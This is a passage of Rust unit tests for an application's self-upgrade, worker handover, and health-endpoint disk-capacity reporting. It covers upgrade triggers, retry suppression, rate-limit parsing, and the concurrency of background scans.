24625        assert!(ui.start_loop(None).is_err());
24626        assert!(ui.begin_resume("late").is_err());
24627        assert_eq!(
24628            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24629                .await
24630                .status(),
24631            StatusCode::NO_CONTENT
24632        );
24633        tokio::time::timeout(Duration::from_secs(2), async {
24634            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
24635                tokio::task::yield_now().await;
24636            }
24637        })
24638        .await
24639        .unwrap();
24640        let progress = updater::read_progress(home.path()).unwrap();
24641        assert_eq!(progress.stage, updater::Stage::Failed);
24642
24643        // Same-release failure is suppressed for automatic retries.
24644        assert_eq!(
24645            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24646                .await
24647                .status(),
24648            StatusCode::NO_CONTENT
24649        );
24650
24651        // Manual retry still uses the shared path for the same tag.
24652        let result = upgrade_checked(&ui, "old".into(), Ok(latest("v999.0.0")));
24653        assert_eq!(
24654            finish_upgrade_request(&ui, result).status(),
24655            StatusCode::ACCEPTED
24656        );
24657        assert_eq!(
24658            updater::read_progress(home.path()).unwrap().trigger,
24659            updater::UpgradeTrigger::Manual
24660        );
24661        tokio::time::timeout(Duration::from_secs(2), async {
24662            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
24663                tokio::task::yield_now().await;
24664            }
24665        })
24666        .await
24667        .unwrap();
24668
24669        // A newer release tag clears suppression for automatic updates.
24670        assert_eq!(
24671            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.1"))
24672                .await
24673                .status(),
24674            StatusCode::ACCEPTED
24675        );
24676        assert_eq!(
24677            updater::read_progress(home.path()).unwrap().trigger,
24678            updater::UpgradeTrigger::Auto
24679        );
24680        tokio::time::timeout(Duration::from_secs(2), async {
24681            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
24682                tokio::task::yield_now().await;
24683            }
24684        })
24685        .await
24686        .unwrap();
24687    }
24688
24689    #[tokio::test]
24690    async fn auto_upgrade_hands_over_without_waiting_for_active_task_chat_or_service_workers() {
24691        let home = TempDir::new().unwrap();
24692        std::fs::write(
24693            home.path().join("magi.toml"),
24694            "[update]\nauto_restart = true\n",
24695        )
24696        .unwrap();
24697        let mut ui = idle_ui(&home);
24698        ui.repo = home.path().to_path_buf();
24699        ui.upgrade_runner = test_replace_and_signal_handover;
24700        let ui = Arc::new(ui);
24701
24702        let workers = [
24703            ("111111", 1_u64, "task", "task:active-task", 41_001_u32),
24704            ("222222", 2_u64, "chat", "chat:active-chat", 41_002_u32),
24705            (
24706                "333333",
24707                3_u64,
24708                "daemon-service",
24709                "service:maintenance",
24710                41_003_u32,
24711            ),
24712        ];
24713        let mut exec_leases = Vec::new();
24714        for (id, sequence, kind, key, pid) in workers {
24715            let dir = home.path().join("workers/jobs").join(id);
24716            std::fs::create_dir_all(&dir).unwrap();
24717            let payload = if kind == "chat" {
24718                serde_json::json!({ "talk": "active-chat" })
24719            } else {
24720                serde_json::json!({})
24721            };
24722            let job = crate::worker::Job {
24723                id: id.into(),
24724                sequence,
24725                kind: kind.into(),
24726                key: key.into(),
24727                payload,
24728                generation: "gen-old".into(),
24729                version: Some("0.1.0".into()),
24730                status: crate::worker::Status::Running,
24731                result: None,
24732                pid: Some(pid),
24733                created_at: 1,
24734                finished_at: None,
24735            };
24736            std::fs::write(dir.join("job.json"), serde_json::to_vec(&job).unwrap()).unwrap();
24737            exec_leases.push(crate::worker::execution_lease_for_test(
24738                &dir.join("live.lock"),
24739            ));
24740        }
24741        let task_lease = crate::worker::try_lease(home.path(), "task:active-task")
24742            .unwrap()
24743            .expect("free task lease");
24744        let chat_lease = crate::worker::try_lease(home.path(), "chat:active-chat")
24745            .unwrap()
24746            .expect("free chat worker lease");
24747        let service_lease = crate::worker::try_lease(home.path(), "service:maintenance")
24748            .unwrap()
24749            .expect("free service lease");
24750        let chat_turn = ui
24751            .begin_talk_turn("active-chat-turn")
24752            .expect("claim chat turn")
24753            .expect("free chat turn");
24754        assert_eq!(crate::worker::observe_active(home.path()).unwrap().len(), 3);
24755
24756        // An unreadable reservation must defer replacement, not look like an
24757        // idle scheduler. Once repaired, the same release can still proceed.
24758        let corrupt = home.path().join("workers/jobs/444444");
24759        std::fs::create_dir_all(&corrupt).unwrap();
24760        std::fs::write(corrupt.join("job.json"), "{").unwrap();
24761        let latest = || {
24762            Some(kaishin::LatestRelease {
24763                tag_name: "v999.0.0".into(),
24764                html_url: String::new(),
24765            })
24766        };
24767        let refused = begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest()).await;
24768        assert_eq!(refused.status(), StatusCode::INTERNAL_SERVER_ERROR);
24769        assert!(updater::read_progress(home.path()).is_none());
24770        std::fs::remove_dir_all(corrupt).unwrap();
24771
24772        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
24773            .await
24774            .expect("bind loopback");
24775        let address = listener.local_addr().expect("address");
24776        let served =
24777            tokio::spawn(axum::serve(listener, Arc::clone(&ui).shared_router()).into_future());
24778
24779        let handover_signal = Arc::new(Notify::new());
24780        TEST_AUTO_HANDOVERS
24781            .lock()
24782            .unwrap_or_else(PoisonError::into_inner)
24783            .insert(home.path().to_path_buf(), Arc::clone(&handover_signal));
24784
24785        let admission = ui.begin_admission().expect("admit");
24786        let response = begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest()).await;
24787        assert_eq!(response.status(), StatusCode::ACCEPTED);
24788        tokio::time::timeout(Duration::from_secs(2), handover_signal.notified())
24789            .await
24790            .expect("auto upgrade runner must reach handover");
24791        let replaced = updater::read_progress(home.path()).unwrap();
24792        assert_eq!(replaced.trigger, updater::UpgradeTrigger::Auto);
24793        assert_eq!(replaced.stage, updater::Stage::Replaced);
24794
24795        let successor_started = std::sync::atomic::AtomicBool::new(false);
24796        let handover = hand_over(home.path(), &ui.admissions, served, || {
24797            successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
24798            Ok(1)
24799        });
24800        tokio::pin!(handover);
24801        // Short admission drain still waits for an in-flight persistence/reservation guard.
24802        std::future::poll_fn(|cx| {
24803            assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
24804            std::task::Poll::Ready(())
24805        })
24806        .await;
24807        assert!(!successor_started.load(std::sync::atomic::Ordering::SeqCst));
24808        assert!(ui.begin_admission().is_err());
24809
24810        drop(admission);
24811        tokio::time::timeout(Duration::from_secs(2), handover)
24812            .await
24813            .expect("automatic handover must not wait for active workers")
24814            .expect("handover");
24815        assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
24816
24817        let successor = bind_waiting(address)
24818            .await
24819            .expect("successor binds released address");
24820        assert_eq!(successor.local_addr().unwrap(), address);
24821
24822        let restarting = updater::read_progress(home.path()).unwrap();
24823        assert_eq!(restarting.trigger, updater::UpgradeTrigger::Auto);
24824        assert_eq!(restarting.stage, updater::Stage::Restarting);
24825        assert!(restarting.parked_run.is_none());
24826        assert!(restarting.parked_talks.is_empty());
24827
24828        let active_after = crate::worker::observe_active(home.path()).unwrap();
24829        assert_eq!(active_after.len(), 3);
24830        for (id, _, kind, key, pid) in workers {
24831            let job = active_after
24832                .iter()
24833                .find(|job| job.id == id)
24834                .unwrap_or_else(|| panic!("worker {id} must survive handover"));
24835            assert_eq!(job.kind, kind);
24836            assert_eq!(job.pid, Some(pid));
24837            assert_eq!(job.generation, "gen-old");
24838            assert_eq!(job.status, crate::worker::Status::Running);
24839            assert!(
24840                crate::worker::control(home.path(), key).unwrap().is_none(),
24841                "no park/stop control may be requested for {key}"
24842            );
24843        }
24844        assert!(
24845            !home.path().join("worker-parks").exists(),
24846            "automatic handover must never request worker parks"
24847        );
24848        assert!(chat_turn.owns(), "chat lease survives automatic handover");
24849        assert!(
24850            crate::worker::try_lease(home.path(), "task:active-task")
24851                .unwrap()
24852                .is_none()
24853        );
24854        assert!(
24855            crate::worker::try_lease(home.path(), "chat:active-chat")
24856                .unwrap()
24857                .is_none()
24858        );
24859        assert!(
24860            crate::worker::try_lease(home.path(), "service:maintenance")
24861                .unwrap()
24862                .is_none()
24863        );
24864
24865        let log = std::fs::read_to_string(updater::log_path(home.path())).unwrap_or_default();
24866        assert!(
24867            log.contains("auto-upgrade: beginning update and restart"),
24868            "{log}"
24869        );
24870        assert!(!log.contains("waiting for idle"), "{log}");
24871        assert!(!log.contains("idle;"), "{log}");
24872
24873        drop(successor);
24874        drop(chat_turn);
24875        drop(service_lease);
24876        drop(chat_lease);
24877        drop(task_lease);
24878        drop(exec_leases);
24879    }
24880
24881    fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
24882        let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
24883        p.stage = stage;
24884        p
24885    }
24886
24887    #[test]
24888    fn busy_stages_match_the_ui_set() {
24889        use crate::updater::Stage;
24890        assert!(APP_JS.contains(
24891            "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
24892        ));
24893        for s in [
24894            Stage::Downloading,
24895            Stage::Replaced,
24896            Stage::Parking,
24897            Stage::Restarting,
24898        ] {
24899            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
24900        }
24901        for s in [Stage::Done, Stage::Failed] {
24902            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
24903        }
24904        assert!(upgrade_in_motion(None).is_none());
24905    }
24906
24907    #[tokio::test]
24908    async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
24909        use crate::updater::Stage;
24910        for stage in [
24911            Stage::Downloading,
24912            Stage::Replaced,
24913            Stage::Parking,
24914            Stage::Restarting,
24915        ] {
24916            let fx = Fixture::start().await;
24917            let seeded = seeded_progress(stage);
24918            crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
24919            let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
24920                .expect("read");
24921
24922            let res = fx.post("/api/upgrade", None).await;
24923            assert_eq!(res.status, 409, "{stage:?}");
24924            let err = res.json()["error"].as_str().unwrap().to_owned();
24925            assert!(err.contains("already in progress"), "{err}");
24926            assert!(err.contains(stage.as_str()), "{err}");
24927
24928            let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
24929                .expect("read");
24930            assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
24931            let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
24932                .unwrap_or_default();
24933            assert!(!log.contains("signalling HANDOVER"), "{log}");
24934        }
24935    }
24936
24937    #[test]
24938    fn upgrade_retry_timing_only_parses_known_diagnostics() {
24939        assert_eq!(
24940            upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
24941            Some(3723)
24942        );
24943        assert_eq!(
24944            upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
24945            Some(60)
24946        );
24947        assert_eq!(
24948            upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
24949            Some(0)
24950        );
24951        for message in [
24952            "permission denied",
24953            "GitHub API rate limit exceeded",
24954            "GitHub rate limit (resets in unknown)",
24955            "GitHub rate limit (resets in 18446744073709551615d)",
24956        ] {
24957            assert_eq!(upgrade_retry_after(message), None, "{message}");
24958        }
24959    }
24960
24961    #[tokio::test]
24962    async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
24963        let home = TempDir::new().unwrap();
24964        let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
24965        ui.start_loop(None).unwrap();
24966        updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
24967        let before = std::fs::read(updater::progress_path(home.path())).unwrap();
24968        let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
24969        let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
24970        let response = finish_upgrade_request(&ui, result);
24971        assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
24972        assert_eq!(response.headers()["retry-after"], "120");
24973        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
24974            .await
24975            .unwrap();
24976        let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
24977        assert!(body["error"].as_str().unwrap().contains(reason));
24978        assert_eq!(body["retry_after_secs"], 120);
24979        assert!(body["retry_at"].as_u64().is_some());
24980        for _ in 0..2 {
24981            let view = health(State(ui.clone())).await.unwrap().0;
24982            let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
24983            assert_eq!(failure, body);
24984        }
24985        assert_eq!(
24986            std::fs::read(updater::progress_path(home.path())).unwrap(),
24987            before
24988        );
24989        assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
24990        assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
24991        // A conflicting request must not erase the actionable earlier failure.
24992        let gate = ui.upgrade_gate.lock().await;
24993        assert_eq!(
24994            upgrade_post(State(ui.clone())).await.status(),
24995            StatusCode::CONFLICT
24996        );
24997        drop(gate);
24998        assert!(
24999            health(State(ui.clone()))
25000                .await
25001                .unwrap()
25002                .0
25003                .upgrade_request_error
25004                .is_some()
25005        );
25006        let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
25007        assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
25008        assert!(
25009            health(State(ui.clone()))
25010                .await
25011                .unwrap()
25012                .0
25013                .upgrade_request_error
25014                .is_none()
25015        );
25016        let live = ui.lock_loop().live.take().unwrap();
25017        live.stop.stop();
25018        live.handle.await.unwrap();
25019    }
25020
25021    #[tokio::test]
25022    async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
25023        use crate::updater::Stage;
25024        let repo = TempDir::new().expect("repo dir");
25025        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
25026            .expect("write magi.toml");
25027        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
25028        for stage in [Stage::Done, Stage::Failed] {
25029            crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
25030            let res = fx.post("/api/upgrade", None).await;
25031            assert_eq!(res.status, 200, "{stage:?}");
25032        }
25033        // No record at all, and the gate was released by the earlier calls.
25034        let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
25035        assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
25036    }
25037
25038    #[tokio::test]
25039    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
25040        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
25041        // and the route answers from its own logic.
25042        //
25043        // This test used to lean on the fixture's placeholder repo failing
25044        // config discovery, which left `mode = "notify"` - and a live,
25045        // unauthenticated call to the GitHub releases API inside a unit test.
25046        // GitHub allows 60 of those an hour per address, so the suite went red
25047        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
25048        // long as somebody kept re-running it: every attempt spent another
25049        // request. Six reruns across four pull requests were charged to that
25050        // before it was read as a rate limit rather than a flake.
25051        //
25052        // What the assertion is about is the "already current" branch, which
25053        // is reached by there being no newer release *or* nowhere to look. The
25054        // second one needs no network and cannot be rate limited.
25055        let repo = TempDir::new().expect("repo dir");
25056        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
25057            .expect("write magi.toml");
25058        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
25059
25060        // It must answer 200 and leave the process alone: restarting for an
25061        // upgrade that did not happen parks the run in flight and drops every
25062        // connection to pay for nothing. A probe against a deck already on the
25063        // newest build did exactly that, which is how this case got its own
25064        // branch.
25065        let res = fx.post("/api/upgrade", None).await;
25066        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
25067        let body = res.json();
25068        assert!(body["to"].is_null(), "there was no release to move to");
25069        assert!(body["parked"].is_null(), "and nothing was parked");
25070        assert!(
25071            body["detail"]
25072                .as_str()
25073                .unwrap()
25074                .contains("nothing restarted"),
25075            "{body:?}"
25076        );
25077    }
25078
25079    async fn wait_for_disk_scan(state: &Arc<Mutex<DiskObservation>>) {
25080        tokio::time::timeout(Duration::from_secs(5), async {
25081            while state.lock().unwrap().in_flight {
25082                tokio::task::yield_now().await;
25083            }
25084        })
25085        .await
25086        .expect("capacity scan finished");
25087    }
25088
25089    fn disk_test_scope(home: &FsPath) -> DiskScope {
25090        DiskScope {
25091            runs: home.join("runs"),
25092            worktrees: home.join("worktrees"),
25093            cache: Some(home.join("cache")),
25094        }
25095    }
25096
25097    fn known_disk_capacity() -> DiskCapacity {
25098        DiskCapacity {
25099            free_bytes: Some(100),
25100            runs_bytes: Some(200),
25101            worktrees_bytes: Some(300),
25102            cache_bytes: Some(400),
25103        }
25104    }
25105
25106    #[tokio::test]
25107    async fn health_disk_cold_and_concurrent_requests_do_not_wait_for_capacity() {
25108        let home = TempDir::new().unwrap();
25109        std::fs::write(home.path().join("magi.toml"), "[update]\nmode = \"off\"\n").unwrap();
25110        let mut ui = delta_test_ui(home.path());
25111        let state = Arc::get_mut(&mut ui).unwrap();
25112        state.repo = home.path().to_owned();
25113        state.worktrees_root = home.path().join("worktrees");
25114        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
25115        ui.monitor
25116            .worker_started
25117            .store(true, std::sync::atomic::Ordering::SeqCst);
25118        let cfg = deputy_config(&ui.repo);
25119        let scope = DiskScope::of(&ui, cfg.as_ref());
25120        let (started, reached) = tokio::sync::oneshot::channel();
25121        let (release, blocked) = std::sync::mpsc::channel();
25122        let cold = DiskObservation::observe(&ui.monitor.disk, scope, move |_| {
25123            started.send(()).unwrap();
25124            // A failed request assertion must also let the blocking worker exit.
25125            let _ = blocked.recv();
25126            known_disk_capacity()
25127        });
25128        assert!(cold.runs_bytes.is_none());
25129        tokio::time::timeout(Duration::from_secs(5), reached)
25130            .await
25131            .unwrap()
25132            .unwrap();
25133
25134        let requests: Vec<_> = (0..4)
25135            .map(|_| {
25136                let ui = ui.clone();
25137                tokio::spawn(async move { health(State(ui)).await.unwrap().0 })
25138            })
25139            .collect();
25140        // This is a causal independence check, not a five-second latency
25141        // benchmark. Leave room for unrelated filesystem/thread contention
25142        // when the entire unit suite runs concurrently.
25143        let completed = tokio::time::timeout(Duration::from_secs(60), async {
25144            for request in requests {
25145                let view = request.await.unwrap();
25146                let disk = serde_json::to_value(view.disk).unwrap();
25147                assert!(disk["runs_bytes"].is_null());
25148                assert!(disk["worktrees_bytes"].is_null());
25149                // Free space is a cheap live observation even while the
25150                // recursive capacity measurement remains blocked.
25151                assert!(disk["free_bytes"].is_u64());
25152            }
25153        })
25154        .await;
25155        if completed.is_err() {
25156            release.send(()).unwrap();
25157            wait_for_disk_scan(&ui.monitor.disk).await;
25158            panic!("health must return while the measurement is causally blocked");
25159        }
25160        assert!(ui.monitor.disk.lock().unwrap().in_flight);
25161        // No competing worker can have published while the first holds flight.
25162        assert!(
25163            ui.monitor
25164                .disk
25165                .lock()
25166                .unwrap()
25167                .capacity
25168                .runs_bytes
25169                .is_none()
25170        );
25171        release.send(()).unwrap();
25172        wait_for_disk_scan(&ui.monitor.disk).await;
25173        assert_eq!(
25174            ui.monitor.disk.lock().unwrap().capacity.runs_bytes,
25175            Some(200)
25176        );
25177    }
25178
25179    #[tokio::test]
25180    async fn health_disk_refresh_retains_successes_and_cadence_starts_at_completion() {
25181        let home = TempDir::new().unwrap();
25182        let scope = disk_test_scope(home.path());
25183        let state = Arc::new(Mutex::new(DiskObservation {
25184            scope: Some(scope.clone()),
25185            capacity: known_disk_capacity(),
25186            finished: Some(std::time::Instant::now() - DISK_REFRESH * 2),
25187            ..Default::default()
25188        }));
25189        let (started, reached) = tokio::sync::oneshot::channel();
25190        let (release, blocked) = std::sync::mpsc::channel();
25191        let before = DiskObservation::observe(&state, scope.clone(), move |_| {
25192            started.send(()).unwrap();
25193            blocked.recv().unwrap();
25194            DiskCapacity {
25195                runs_bytes: Some(250),
25196                ..Default::default()
25197            }
25198        });
25199        assert_eq!(before.cache_bytes, Some(400));
25200        tokio::time::timeout(Duration::from_secs(5), reached)
25201            .await
25202            .unwrap()
25203            .unwrap();
25204        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
25205        for _ in 0..4 {
25206            let scans = duplicate_scans.clone();
25207            let during = DiskObservation::observe(&state, scope.clone(), move |_| {
25208                scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
25209                DiskCapacity::default()
25210            });
25211            assert_eq!(during.runs_bytes, Some(200));
25212            assert_eq!(during.cache_bytes, Some(400));
25213        }
25214        release.send(()).unwrap();
25215        wait_for_disk_scan(&state).await;
25216        let scans = duplicate_scans.clone();
25217        let after = DiskObservation::observe(&state, scope, move |_| {
25218            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
25219            DiskCapacity::default()
25220        });
25221        wait_for_disk_scan(&state).await;
25222        assert_eq!(after.runs_bytes, Some(250));
25223        assert_eq!(after.free_bytes, Some(100));
25224        assert_eq!(after.cache_bytes, Some(400));
25225        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
25226        assert!(state.lock().unwrap().finished.unwrap().elapsed() < DISK_REFRESH);
25227    }
25228
25229    #[tokio::test]
25230    async fn health_disk_changed_scope_never_publishes_the_previous_cache() {
25231        let home = TempDir::new().unwrap();
25232        let old_scope = disk_test_scope(home.path());
25233        let mut new_scope = old_scope.clone();
25234        new_scope.cache = Some(home.path().join("replacement-cache"));
25235        let state = Arc::new(Mutex::new(DiskObservation {
25236            scope: Some(old_scope.clone()),
25237            capacity: known_disk_capacity(),
25238            ..Default::default()
25239        }));
25240        let (started, reached) = tokio::sync::oneshot::channel();
25241        let (release, blocked) = std::sync::mpsc::channel();
25242        DiskObservation::observe(&state, old_scope, move |_| {
25243            started.send(()).unwrap();
25244            blocked.recv().unwrap();
25245            known_disk_capacity()
25246        });
25247        tokio::time::timeout(Duration::from_secs(5), reached)
25248            .await
25249            .unwrap()
25250            .unwrap();
25251        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
25252        let scans = duplicate_scans.clone();
25253        let changed = DiskObservation::observe(&state, new_scope.clone(), move |_| {
25254            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
25255            DiskCapacity::default()
25256        });
25257        assert!(changed.cache_bytes.is_none());
25258        assert!(changed.runs_bytes.is_none());
25259        release.send(()).unwrap();
25260        wait_for_disk_scan(&state).await;
25261        {
25262            let observation = state.lock().unwrap();
25263            assert!(observation.capacity.cache_bytes.is_none());
25264            assert!(observation.finished.is_none());
25265        }
25266        DiskObservation::observe(&state, new_scope.clone(), move |scope| {
25267            assert_eq!(scope, &new_scope);
25268            DiskCapacity {
25269                cache_bytes: Some(999),
25270                ..Default::default()
25271            }
25272        });
25273        wait_for_disk_scan(&state).await;
25274        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(999));
25275        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
25276    }
25277
25278    #[tokio::test]
25279    async fn health_disk_panicked_worker_releases_flight_and_retries_after_cadence() {
25280        let home = TempDir::new().unwrap();
25281        let scope = disk_test_scope(home.path());
25282        let state = Arc::new(Mutex::new(DiskObservation {
25283            scope: Some(scope.clone()),
25284            capacity: known_disk_capacity(),
25285            ..Default::default()
25286        }));
25287        DiskObservation::observe(&state, scope.clone(), |_| panic!("capacity worker failure"));
25288        wait_for_disk_scan(&state).await;
25289        {
25290            let mut observation = state.lock().unwrap();
25291            assert_eq!(observation.capacity.cache_bytes, Some(400));
25292            assert!(observation.finished.unwrap().elapsed() < DISK_REFRESH);
25293            observation.finished = Some(std::time::Instant::now() - DISK_REFRESH);
25294        }
25295        DiskObservation::observe(&state, scope, |_| DiskCapacity {
25296            cache_bytes: Some(450),
25297            ..Default::default()
25298        });
25299        wait_for_disk_scan(&state).await;
25300        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(450));
25301    }
25302
25303    #[test]
25304    fn health_disk_capacity_counts_empty_and_missing_without_following_links() {
25305        let home = TempDir::new().unwrap();
25306        assert_eq!(disk_capacity_size(&home.path().join("missing")), Some(0));
25307        assert_eq!(disk_capacity_size(home.path()), Some(0));
25308        std::fs::create_dir(home.path().join("nested")).unwrap();
25309        std::fs::write(home.path().join("nested/data"), b"12345").unwrap();
25310        assert_eq!(disk_capacity_size(home.path()), Some(5));
25311        #[cfg(unix)]
25312        {
25313            // Unix distinguishes an invalid descendant lookup from absence.
25314            assert_eq!(
25315                disk_capacity_size(&home.path().join("nested/data/child")),
25316                None
25317            );
25318        }
25319        #[cfg(unix)]
25320        {
25321            std::os::unix::fs::symlink(home.path(), home.path().join("nested/link")).unwrap();
25322            assert_eq!(disk_capacity_size(home.path()), Some(5));
25323        }
25324    }
25325
25326    #[tokio::test]
25327    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
25328        // `mode = "off"` for the same reason as the test above: a default
25329        // fixture repo falls back to `mode = "notify"`, which would make this
25330        // route's new `update` field a live, unauthenticated GitHub call on
25331        // every assertion in this suite that happens to hit `/api/health`.
25332        let repo = TempDir::new().expect("repo dir");
25333        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
25334            .expect("write magi.toml");
25335        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
25336
25337        let health = fx.get("/api/health").await.json();
25338        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
25339        assert_eq!(
25340            health["update"]["available"], false,
25341            "checking is off, which reads as \"unknown\", not \"none\""
25342        );
25343        assert!(health["update"]["to"].is_null());
25344        assert!(
25345            health["upgrade"].is_null(),
25346            "nothing has ever asked this deck to upgrade"
25347        );
25348    }
25349
25350    #[tokio::test]
25351    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
25352        let fx = Fixture::start().await;
25353        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
25354
25355        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25356        progress.parked_run = Some("20260905-000000-cd51".to_owned());
25357        progress.advance(crate::updater::Stage::Parking);
25358        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
25359
25360        let health = fx.get("/api/health").await.json();
25361        assert_eq!(health["upgrade"]["stage"], "parking");
25362        assert_eq!(health["upgrade"]["from"], "0.5.1");
25363        assert_eq!(health["upgrade"]["to"], "0.5.2");
25364        let waiting_on = health["upgrade"]["waiting_on"]
25365            .as_str()
25366            .expect("waiting_on is set while parking a known run");
25367        assert!(waiting_on.contains("cd51"), "{waiting_on}");
25368        assert!(waiting_on.contains("implementing"), "{waiting_on}");
25369    }
25370
25371    #[tokio::test]
25372    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
25373        let fx = Fixture::start().await;
25374        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25375        progress.advance(crate::updater::Stage::Done);
25376        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
25377
25378        let health = fx.get("/api/health").await.json();
25379        assert_eq!(health["upgrade"]["stage"], "done");
25380        assert!(
25381            health["upgrade"]["waiting_on"].is_null(),
25382            "nothing to wait on once it is done"
25383        );
25384    }
25385
25386    /// The handover signal is seen however the race falls, and wakes its one
25387    /// waiter once per signal - nothing here can spin.
25388    #[tokio::test]
25389    async fn the_handover_signal_wakes_one_waiter_once() {
25390        let signal = Notify::new();
25391        // Signalled before anyone waits: the stored permit is not lost.
25392        signal.notify_one();
25393        tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
25394            .await
25395            .expect("an early signal is still seen");
25396        // One signal, one wake-up: a second wait does not resolve by itself.
25397        assert!(
25398            tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
25399                .await
25400                .is_err(),
25401            "a consumed signal must not wake a second time"
25402        );
25403        // Signalled while waiting.
25404        let signal = std::sync::Arc::new(signal);
25405        let waiter = tokio::spawn({
25406            let signal = std::sync::Arc::clone(&signal);
25407            async move { wait_for_handover(&signal).await }
25408        });
25409        tokio::time::sleep(Duration::from_millis(20)).await;
25410        assert!(!waiter.is_finished(), "nothing was signalled yet");
25411        signal.notify_one();
25412        tokio::time::timeout(Duration::from_secs(5), waiter)
25413            .await
25414            .expect("a late signal wakes the waiter")
25415            .expect("join");
25416    }
25417
25418    #[tokio::test]
25419    async fn health_says_how_long_a_handover_has_been_stuck() {
25420        let fx = Fixture::start().await;
25421        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25422        progress.advance(crate::updater::Stage::Replaced);
25423        progress.updated_at = Timestamp::now() - Duration::from_secs(600);
25424        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
25425
25426        let health = fx.get("/api/health").await.json();
25427        let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
25428        assert!(stuck >= 600, "{stuck}");
25429        assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
25430        assert!(health["upgrade"]["waiting_on"].as_str().is_some());
25431    }
25432
25433    #[tokio::test]
25434    async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
25435        let home = tempfile::tempdir().expect("temp home");
25436        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25437        progress.advance(crate::updater::Stage::Parking);
25438        crate::updater::write_progress(home.path(), &progress).expect("seed");
25439        // What the second upgrade_and_restart and its handler do.
25440        let mut again = progress.clone();
25441        again.advance(crate::updater::Stage::Replaced);
25442        crate::updater::write_progress(home.path(), &again).expect("replaced");
25443        let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25444        crate::updater::write_progress(home.path(), &fresh).expect("downloading");
